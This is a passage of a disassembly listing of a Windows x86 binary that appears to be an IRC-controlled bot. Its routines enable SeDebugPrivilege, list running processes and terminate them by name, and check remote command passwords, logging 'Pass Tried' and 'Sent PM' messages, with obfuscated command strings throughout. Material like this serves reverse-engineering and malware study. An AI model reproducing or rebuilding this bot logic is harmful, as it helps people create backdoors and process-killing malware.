		jmp	short loc_41FD8E
; ---------------------------------------------------------------------------


loc_41FD69:				; CODE XREF: sub_41FC58+E9j
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	offset aSD_2	; "%s: <%d>"
		lea	eax, [ebp+var_1C8]
		push	80h
		push	eax
		call	sub_429BBE
		add	esp, 14h


loc_41FD8E:				; CODE XREF: sub_41FC58+10Fj
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		jz	short loc_41FE0B
		lea	ecx, [ebp+var_3CC]
		push	ecx
		lea	ecx, [ebp+var_5CC]
		push	ecx
		push	eax
		push	eax
		lea	eax, [ebp+var_2CC]
		push	eax
		call	sub_42BF95
		add	esp, 14h
		lea	eax, [ebp+var_3CC]
		push	eax
		lea	eax, [ebp+var_5CC]
		push	eax
		call	dword_437090	; lstrcatA
		lea	eax, [ebp+var_5CC]
		push	eax
		push	[ebp+arg_4]
		push	offset aSS_4	; "%s /	%s\n"
		push	offset dword_450F00
		call	sub_42C0DC
		add	esp, 10h
		lea	eax, [ebp+var_5CC]
		push	eax
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_41FE22
		mov	ecx, [ebp+arg_0]
		lea	edx, [ebp+var_2CC]
		push	edx
		mov	eax, [ecx+4]
		push	eax
		lea	eax, [ebp+var_18]
		jmp	short loc_41FE1C
; ---------------------------------------------------------------------------


loc_41FE0B:				; CODE XREF: sub_41FC58+13Bj
		mov	ecx, [ebp+arg_0]
		lea	edx, [ebp+var_2CC]
		push	edx
		mov	eax, [ecx+4]
		push	eax
		lea	eax, [ebp+var_14]


loc_41FE1C:				; CODE XREF: sub_41FC58+1B1j
		push	eax
		call	sub_420270


loc_41FE22:				; CODE XREF: sub_41FC58+9Fj
					; sub_41FC58+19Ej
		push	edi
		call	dword_437044	; CloseHandle


loc_41FE29:				; CODE XREF: sub_41FC58+86j
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_10]
		jb	loc_41FCC1
		pop	esi
		pop	ebx


loc_41FE3A:				; CODE XREF: sub_41FC58+5Cj
		mov	al, 1
		pop	edi
		leave
		retn
sub_41FC58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE3F	proc near		; CODE XREF: sub_40A9FE+3CEp
					; sub_40A9FE+837Fp ...

var_1148	= dword	ptr -1148h
var_148		= byte ptr -148h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1148h
		call	sub_429B60
		push	ebx
		push	esi
		push	10h
		lea	eax, [ebp+var_8]
		pop	esi
		xor	ebx, ebx
		push	eax
		push	ebx
		push	28h
		mov	[ebp+var_1], bl
		mov	[ebp+var_1C], esi
		call	dword_437124	; GetCurrentThread
		push	eax
		call	dword_456E48	; OpenThreadToken
		test	eax, eax
		jnz	short loc_41FE8B
		lea	eax, [ebp+var_8]
		push	eax
		push	28h
		call	dword_43704C	; GetCurrentProcess
		push	eax
		call	dword_456F18	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41FE8B
		mov	[ebp+var_8], ebx


loc_41FE8B:				; CODE XREF: sub_41FE3F+30j
					; sub_41FE3F+47j
		cmp	[ebp+var_8], ebx
		jz	short loc_41FEE2
		lea	eax, [ebp+var_30]
		mov	[ebp+var_34], 1
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	ebx
		mov	[ebp+var_28], 2
		call	dword_456EDC	; LookupPrivilegeValueA
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		push	ebx
		push	[ebp+var_8]
		call	dword_456FB4	; AdjustTokenPrivileges
		test	eax, eax
		jz	short loc_41FED6
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 514h
		jnz	short loc_41FEE2


loc_41FED6:				; CODE XREF: sub_41FE3F+88j
		push	[ebp+var_8]
		call	dword_437044	; CloseHandle
		mov	[ebp+var_8], ebx


loc_41FEE2:				; CODE XREF: sub_41FE3F+4Fj
					; sub_41FE3F+95j
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1148]
		push	1000h
		push	eax
		call	dword_456F30
		test	eax, eax
		jnz	short loc_41FF03
		xor	al, al
		jmp	loc_420038
; ---------------------------------------------------------------------------


loc_41FF03:				; CODE XREF: sub_41FE3F+BBj
		mov	esi, [ebp+var_18]
		mov	[ebp+var_10], ebx
		shr	esi, 2
		mov	[ebp+var_24], esi
		mov	[ebp+var_C], ebx
		jz	loc_41FFFD
		push	edi


loc_41FF19:				; CODE XREF: sub_41FE3F+1B7j
		lea	eax, [ebp+var_148]
		push	offset aUnknown	; "unknown"
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+var_C]
		push	[ebp+eax*4+var_1148]
		push	ebx
		push	411h
		call	dword_437114	; OpenProcess
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41FFF0
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		push	edi
		call	dword_456EEC
		test	eax, eax
		jz	loc_41FFE9
		lea	eax, [ebp+var_148]
		push	104h
		push	eax
		push	[ebp+var_20]
		push	edi
		call	dword_456E20
		lea	eax, [ebp+var_148]
		mov	[ebp+var_14], ebx
		push	eax
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_41FFBC
		mov	eax, [ebp+var_C]
		lea	esi, [ebp+eax+var_148]


loc_41FF98:				; CODE XREF: sub_41FE3F+178j
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_42C278
		inc	[ebp+var_14]
		mov	[esi], al
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4293A0
		cmp	[ebp+var_14], eax
		pop	ecx
		pop	ecx
		jb	short loc_41FF98
		mov	esi, [ebp+var_24]


loc_41FFBC:				; CODE XREF: sub_41FE3F+14Dj
		cmp	[ebp+arg_0], ebx
		jnz	short loc_41FFC6
		mov	[ebp+var_1], bl
		jmp	short loc_41FFE9
; ---------------------------------------------------------------------------


loc_41FFC6:				; CODE XREF: sub_41FE3F+180j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_148]
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_41FFE9
		inc	[ebp+var_10]
		push	ebx
		push	edi
		call	dword_437118	; TerminateProcess
		mov	[ebp+var_1], 1


loc_41FFE9:				; CODE XREF: sub_41FE3F+11Fj
					; sub_41FE3F+185j ...
		push	edi
		call	dword_437044	; CloseHandle


loc_41FFF0:				; CODE XREF: sub_41FE3F+106j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], esi
		jb	loc_41FF19
		pop	edi


loc_41FFFD:				; CODE XREF: sub_41FE3F+D3j
		cmp	[ebp+arg_4], ebx
		jz	short loc_420015
		push	[ebp+var_10]
		push	offset dword_44772C
		push	[ebp+arg_4]
		call	sub_429B03
		add	esp, 0Ch


loc_420015:				; CODE XREF: sub_41FE3F+1C1j
		cmp	[ebp+var_8], ebx
		jz	short loc_420035
		push	ebx
		push	ebx
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		push	[ebp+var_8]
		call	dword_456FB4	; AdjustTokenPrivileges
		push	[ebp+var_8]
		call	dword_437044	; CloseHandle


loc_420035:				; CODE XREF: sub_41FE3F+1D9j
		mov	al, [ebp+var_1]


loc_420038:				; CODE XREF: sub_41FE3F+BFj
		pop	esi
		pop	ebx
		leave
		retn
sub_41FE3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42003C	proc near		; CODE XREF: sub_420105+12p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	esi
		push	edi
		push	28h


loc_42004E:				; DATA XREF: .text:0043BAB8o
					; .text:0043BAC4o ...
		mov	[ebp+var_8], 10h
		mov	[ebp+var_4], edi
		call	dword_437124	; GetCurrentThread
		push	eax
		call	dword_456E48	; OpenThreadToken
		test	eax, eax
		jnz	short loc_42007F
		push	esi
		push	28h
		call	dword_43704C	; GetCurrentProcess
		push	eax
		call	dword_456F18	; OpenProcessToken
		test	eax, eax
		jnz	short loc_42007F
		mov	[esi], edi


loc_42007F:				; CODE XREF: sub_42003C+2Bj
					; sub_42003C+3Fj
		cmp	[esi], edi
		jz	short loc_4200D6
		lea	eax, [ebp+var_14]
		xor	ebx, ebx
		push	eax
		inc	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	edi
		mov	[ebp+var_18], ebx
		mov	[ebp+var_C], 2
		call	dword_456EDC	; LookupPrivilegeValueA
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	[ebp+arg_4]
		push	10h
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_456FB4	; AdjustTokenPrivileges
		test	eax, eax
		jz	short loc_4200CC
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 514h
		jz	short loc_4200CC
		mov	[ebp+var_4], ebx
		jmp	short loc_4200D6
; ---------------------------------------------------------------------------


loc_4200CC:				; CODE XREF: sub_42003C+7Cj
					; sub_42003C+89j
		push	dword ptr [esi]
		call	dword_437044	; CloseHandle
		mov	[esi], edi


loc_4200D6:				; CODE XREF: sub_42003C+45j
					; sub_42003C+8Ej
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42003C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200DE	proc near		; CODE XREF: sub_420105+47p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	ecx, ecx
		mov	eax, [esi]
		cmp	eax, ecx
		jz	short loc_420103
		push	ecx
		push	ecx
		push	10h
		push	[esp+10h+arg_4]
		push	ecx
		push	eax
		call	dword_456FB4	; AdjustTokenPrivileges
		push	dword ptr [esi]
		call	dword_437044	; CloseHandle


loc_420103:				; CODE XREF: sub_4200DE+Bj
		pop	esi
		retn
sub_4200DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420105	proc near		; CODE XREF: sub_41F876+241p
					; sub_41F876+31Bp ...

var_14		= byte ptr -14h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_4]
		xor	ebx, ebx
		push	eax
		call	sub_42003C
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	ebx
		push	411h
		call	dword_437114	; OpenProcess
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_420144
		push	ebx
		push	esi
		call	dword_437118	; TerminateProcess
		push	esi
		mov	bl, 1
		call	dword_437044	; CloseHandle


loc_420144:				; CODE XREF: sub_420105+2Cj
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4200DE
		pop	ecx
		pop	ecx
		pop	esi
		movzx	eax, bl
		pop	ebx
		leave
		retn
sub_420105	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42015A	proc near		; CODE XREF: sub_41F876+2C3p

var_1114	= byte ptr -1114h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1114h
		call	sub_429B60
		push	ebx
		push	esi
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		lea	eax, [ebp+var_1114]
		push	1000h
		push	eax
		call	dword_456F30
		test	eax, eax
		jz	loc_420240
		mov	eax, dword_4473F8
		mov	ebx, [ebp+var_C]
		push	3Fh
		mov	[ebp+var_114], eax
		mov	eax, dword_4473FC
		pop	ecx
		mov	[ebp+var_110], eax
		push	offset a???	; "???"
		push	[ebp+arg_4]
		xor	eax, eax
		lea	edi, [ebp+var_10C]
		rep stosd
		shr	ebx, 2
		call	dword_4370B4	; lstrcpyA
		xor	edi, edi
		test	ebx, ebx
		jbe	short loc_42023D


loc_4201C5:				; CODE XREF: sub_42015A+B0j
		lea	esi, [ebp+edi*4+var_1114]
		push	dword ptr [esi]
		push	0
		push	410h
		call	dword_437114	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_420207
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	4
		push	ecx
		push	eax
		call	dword_456EEC
		test	eax, eax
		jz	short loc_4201FE
		mov	eax, [ebp+arg_0]
		cmp	eax, [esi]
		jz	short loc_42020E


loc_4201FE:				; CODE XREF: sub_42015A+9Bj
		push	[ebp+var_4]
		call	dword_437044	; CloseHandle


loc_420207:				; CODE XREF: sub_42015A+86j
		inc	edi
		cmp	edi, ebx
		jb	short loc_4201C5
		jmp	short loc_42023D
; ---------------------------------------------------------------------------


loc_42020E:				; CODE XREF: sub_42015A+A2j
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_456EE4
		lea	eax, [ebp+var_114]
		push	eax
		push	offset aS_5	; "%s"
		push	[ebp+arg_4]
		call	sub_429B03
		add	esp, 0Ch


loc_42023D:				; CODE XREF: sub_42015A+69j
					; sub_42015A+B2j
		mov	eax, [ebp+arg_4]


loc_420240:				; CODE XREF: sub_42015A+28j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42015A	endp


; =============== S U B	R O U T	I N E =======================================



sub_420245	proc near		; CODE XREF: sub_41F876+1C0p
					; .text:0043664Fj

var_4		= byte ptr -4

		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		push	eax
		mov	ecx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4202AB
		push	dword ptr [esi+4]
		call	sub_4290D0
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		pop	ecx
		retn
sub_420245	endp


; =============== S U B	R O U T	I N E =======================================



sub_420270	proc near		; CODE XREF: sub_41FC58+1C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_4]
		push	edi
		mov	ebx, ecx
		push	dword ptr [esi+4]
		push	esi
		call	sub_4202E3
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		lea	edi, [eax+8]
		test	edi, edi
		mov	[ecx], eax
		jz	short loc_42029A
		mov	esi, [esp+0Ch+arg_8]
		push	61h
		pop	ecx
		rep movsd


loc_42029A:				; CODE XREF: sub_420270+1Fj
		mov	ecx, [esp+0Ch+arg_0]
		inc	dword ptr [ebx+8]
		pop	edi
		pop	esi
		mov	[ecx], eax
		mov	eax, ecx
		pop	ebx
		retn	0Ch
sub_420270	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202AB	proc near		; CODE XREF: sub_420245+12p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, ecx
		jmp	short loc_4202D2
; ---------------------------------------------------------------------------


loc_4202B5:				; CODE XREF: sub_4202AB+2Bj
		mov	eax, esi
		mov	esi, [esi]
		push	eax
		mov	ecx, [eax+4]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		call	sub_4290D0
		dec	dword ptr [edi+8]
		pop	ecx


loc_4202D2:				; CODE XREF: sub_4202AB+8j
		cmp	esi, [esp+8+arg_8]
		jnz	short loc_4202B5
		mov	eax, [esp+8+arg_0]
		pop	edi
		mov	[eax], esi
		pop	esi
		retn	0Ch
sub_4202AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E3	proc near		; CODE XREF: sub_41F876+4Fp
					; sub_420270+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	18Ch
		call	sub_42B4D7
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	ecx, ecx
		jnz	short loc_4202F8
		mov	ecx, eax


loc_4202F8:				; CODE XREF: sub_4202E3+11j
		mov	[eax], ecx
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jnz	short loc_420304
		mov	ecx, eax


loc_420304:				; CODE XREF: sub_4202E3+1Dj
		mov	[eax+4], ecx
		retn	8
sub_4202E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42030A	proc near		; CODE XREF: sub_40A935+5Dp
					; sub_42045F+82p

var_154		= byte ptr -154h
var_10C		= byte ptr -10Ch
var_106		= byte ptr -106h
var_105		= byte ptr -105h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_FD		= byte ptr -0FDh
var_F3		= byte ptr -0F3h
var_F2		= byte ptr -0F2h
var_F1		= byte ptr -0F1h
var_EF		= byte ptr -0EFh
var_EE		= byte ptr -0EEh
var_EC		= byte ptr -0ECh
var_E6		= byte ptr -0E6h
var_E5		= byte ptr -0E5h
var_E2		= byte ptr -0E2h
var_E1		= byte ptr -0E1h
var_DE		= byte ptr -0DEh
var_DD		= byte ptr -0DDh
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	100h
		lea	eax, [ebp+var_154]
		push	ebx
		push	eax
		call	sub_429760
		mov	esi, [ebp+arg_8]
		add	esp, 0Ch
		cmp	esi, ebx
		jl	short loc_420393


loc_420334:				; CODE XREF: sub_42030A+87j
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+esi*4]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_420390
		mov	dl, [eax]
		cmp	dl, 2Dh
		jnz	short loc_420393
		cmp	[eax+2], bl
		jnz	short loc_42035A
		movsx	edx, byte ptr [eax+1]
		mov	[ebp+edx+var_154], 1
		jmp	short loc_420382
; ---------------------------------------------------------------------------


loc_42035A:				; CODE XREF: sub_42030A+40j
		cmp	dl, 2Dh
		jnz	short loc_420393
		cmp	byte ptr [eax+2], 3Ah
		jnz	short loc_420393
		cmp	[eax+4], bl
		jnz	short loc_420393
		movsx	edx, byte ptr [eax+1]
		mov	[ebp+edx+var_154], 1
		cmp	byte ptr [eax+1], 72h
		jnz	short loc_420382
		mov	dl, [eax+3]
		mov	[ebp+var_30], dl


loc_420382:				; CODE XREF: sub_42030A+4Ej
					; sub_42030A+70j
		mov	[eax], bl
		mov	eax, [ecx]
		mov	[eax+1], bl
		mov	eax, [ecx]
		mov	[eax+2], bl
		mov	[ecx], ebx


loc_420390:				; CODE XREF: sub_42030A+34j
		dec	esi
		jns	short loc_420334


loc_420393:				; CODE XREF: sub_42030A+28j
					; sub_42030A+3Bj ...
		movzx	eax, [ebp+var_E1]
		mov	[ebp+var_54], eax
		push	15h
		movzx	eax, [ebp+var_E6]
		mov	[ebp+var_50], eax
		lea	esi, [ebp+var_54]
		movzx	eax, [ebp+var_EC]
		mov	[ebp+var_4C], eax
		movzx	eax, [ebp+var_DE]
		movzx	ecx, [ebp+var_EE]
		mov	[ebp+var_48], eax
		mov	[ebp+var_40], ecx
		movzx	eax, [ebp+var_101]
		movzx	ecx, [ebp+var_E5]
		movzx	edx, [ebp+var_105]
		mov	[ebp+var_44], eax
		mov	[ebp+var_24], eax
		movzx	eax, [ebp+var_F3]
		mov	[ebp+var_14], eax
		mov	[ebp+var_3C], ecx
		movzx	eax, [ebp+var_F2]
		movzx	ecx, [ebp+var_DD]
		mov	[ebp+var_28], edx
		mov	[ebp+var_10], eax
		movzx	edx, [ebp+var_10C]
		movzx	eax, [ebp+var_F1]
		mov	[ebp+var_38], ecx
		mov	[ebp+var_20], edx
		movzx	ecx, [ebp+var_FD]
		movzx	edx, [ebp+var_106]
		mov	[ebp+var_C], eax
		mov	[ebp+var_2C], ecx
		movzx	eax, [ebp+var_EF]
		movzx	ecx, [ebp+var_E2]
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		movzx	edx, [ebp+var_102]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], ecx
		mov	[ebp+var_8], ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_1C], edx
		rep movsd
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42030A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42045F	proc near		; DATA XREF: sub_420D91+18o

var_3D70	= byte ptr -3D70h
var_1660	= byte ptr -1660h
var_660		= byte ptr -660h
var_260		= byte ptr -260h
var_25C		= byte ptr -25Ch
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 3D70h
		call	sub_429B60
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		inc	esi
		cmp	byte ptr [esi+1], 0
		jz	loc_420AB0
		cmp	byte ptr [esi],	2Bh
		jnz	short loc_4204A0
		push	offset byte_454A54
		push	offset asc_44DE08 ; "+"
		push	esi
		call	sub_4279FA
		push	esi
		push	offset dword_443EB0
		call	sub_415641
		add	esp, 14h


loc_4204A0:				; CODE XREF: sub_42045F+21j
		lea	eax, [ebp+var_660]
		push	esi
		push	eax
		call	dword_4370B4	; lstrcpyA
		push	40h
		lea	eax, [ebp+var_15C]
		push	esi
		push	eax
		call	sub_42777F
		mov	cl, [ebp+var_660]
		add	esp, 0Ch
		cmp	cl, byte_4439A0
		mov	[ebp+arg_0], eax
		jnz	loc_420733
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_42030A
		add	esp, 0Ch
		cmp	[ebp+var_15C], 0
		mov	esi, eax
		lea	edi, [ebp+var_5C]
		push	15h
		pop	ecx
		rep movsd
		jz	loc_420AB0
		mov	eax, [ebp+var_15C]
		mov	al, [eax]
		cmp	al, byte_4439A0
		jnz	short loc_420575
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		inc	[ebp+var_15C]
		mov	ecx, edi
		push	dword ptr [ebx+8]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		call	sub_41C755
		test	eax, eax
		mov	ecx, edi
		jz	short loc_42057C
		call	sub_41DB58
		push	eax
		push	dword ptr [ebx+0Ch]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_420549
		mov	eax, [ebx]
		mov	[ebx+0Ch], eax


loc_420549:				; CODE XREF: sub_42045F+E3j
		push	0
		lea	eax, [ebp+var_660]
		sub	esp, 54h
		lea	esi, [ebp+var_5C]
		push	15h
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_8]
		rep movsd
		push	ebx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_15C]
		push	eax
		call	sub_40A9FE
		add	esp, 6Ch


loc_420575:				; CODE XREF: sub_42045F+AFj
					; sub_42045F+18Bj ...
		xor	eax, eax


loc_420577:				; CODE XREF: sub_42045F+654j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42057C:				; CODE XREF: sub_42045F+D0j
		call	sub_41DB58
		mov	esi, dword_437178
		push	eax
		push	dword ptr [ebx+0Ch]
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_4205DB
		mov	ecx, edi
		call	sub_41C7A8
		test	eax, eax
		lea	eax, [ebp+var_660]
		push	eax
		push	dword ptr [ebx+8]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		push	offset aShktk1eNl8Jlzt ; "sHKtk1e/Nl8/jLZte1JtI/t1"
		push	offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
		push	offset aSSSS@SSentPmS ;	"%s %s %s!%s@%s	(Sent PM -> \"%s\")"


loc_4205B8:				; CODE XREF: sub_42045F+217j
		jz	short loc_4205C8
		push	edi
		call	sub_41C844
		add	esp, 20h
		jmp	loc_420AB0
; ---------------------------------------------------------------------------


loc_4205C8:				; CODE XREF: sub_42045F:loc_4205B8j
		push	offset dword_443F34
		push	edi
		call	sub_41CE4A
		add	esp, 24h
		jmp	loc_420AB0
; ---------------------------------------------------------------------------


loc_4205DB:				; CODE XREF: sub_42045F+130j
		push	[ebp+var_15C]
		push	offset aDehziSaO0 ; "deHZI/SA//o0"
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_420575
		cmp	[ebp+var_158], eax
		jz	loc_420AB0
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_25C]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		push	offset aSS@S	; "%s!%s@%s"
		push	100h
		push	eax
		call	sub_429BBE
		and	[ebp+arg_4], 0
		add	esp, 18h
		cmp	dword_445D24, 0
		jle	short loc_420650


loc_420626:				; CODE XREF: sub_42045F+1EFj
		lea	eax, [ebp+var_25C]
		push	eax
		mov	eax, [ebp+arg_4]
		push	off_443F00[eax*4]
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42067B
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_4]
		cmp	eax, dword_445D24
		jl	short loc_420626


loc_420650:				; CODE XREF: sub_42045F+1C5j
					; sub_42045F+232j
		mov	ecx, edi
		call	sub_41C7A8
		push	[ebp+var_158]
		test	eax, eax
		push	dword ptr [ebx+8]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		push	offset aZcm1__num3n0oe ; "ZcM1..nUM3N0OE819.1TEYD."
		push	offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
		push	offset aSSSS@SPassTrie ; "%s %s	[%s!%s@%s] (Pass Tried -> %s)"
		jmp	loc_4205B8
; ---------------------------------------------------------------------------


loc_42067B:				; CODE XREF: sub_42045F+1E1j
		push	[ebp+var_158]
		call	sub_4155AA
		pop	ecx
		push	eax
		push	offset dword_443E68
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_420650
		push	dword ptr [ebx+8]
		mov	ecx, edi
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		call	sub_41C600
		cmp	eax, 0FFFFFFFFh
		mov	esi, offset aSS_1 ; "%s	%s"
		mov	edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		jnz	short loc_4206EF
		cmp	[ebp+var_5C], 0
		jnz	short loc_4206D2
		cmp	[ebp+var_58], 0
		jnz	short loc_4206DC
		push	offset aMkk0_mvscp_hwh ; "mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp"...
		push	edi
		push	esi
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_8]
		call	sub_41CE4A
		add	esp, 14h


loc_4206D2:				; CODE XREF: sub_42045F+256j
		cmp	[ebp+var_58], 0
		jz	loc_420AB0


loc_4206DC:				; CODE XREF: sub_42045F+25Cj
		push	offset aMkk0_mvscp_hwh ; "mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp"...
		push	edi
		push	esi
		push	dword ptr [ebx]
		push	[ebp+arg_8]
		call	sub_41CE4A
		jmp	short loc_42072B
; ---------------------------------------------------------------------------


loc_4206EF:				; CODE XREF: sub_42045F+250j
		cmp	[ebp+var_5C], 0
		jnz	short loc_420710
		cmp	[ebp+var_58], 0
		jnz	short loc_42071A
		push	offset aQvp40nd9f2 ; "/qvP40nD9F2/"
		push	edi
		push	esi
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_8]
		call	sub_41CE4A
		add	esp, 14h


loc_420710:				; CODE XREF: sub_42045F+294j
		cmp	[ebp+var_58], 0
		jz	loc_420AB0


loc_42071A:				; CODE XREF: sub_42045F+29Aj
		push	offset aQvp40nd9f2 ; "/qvP40nD9F2/"
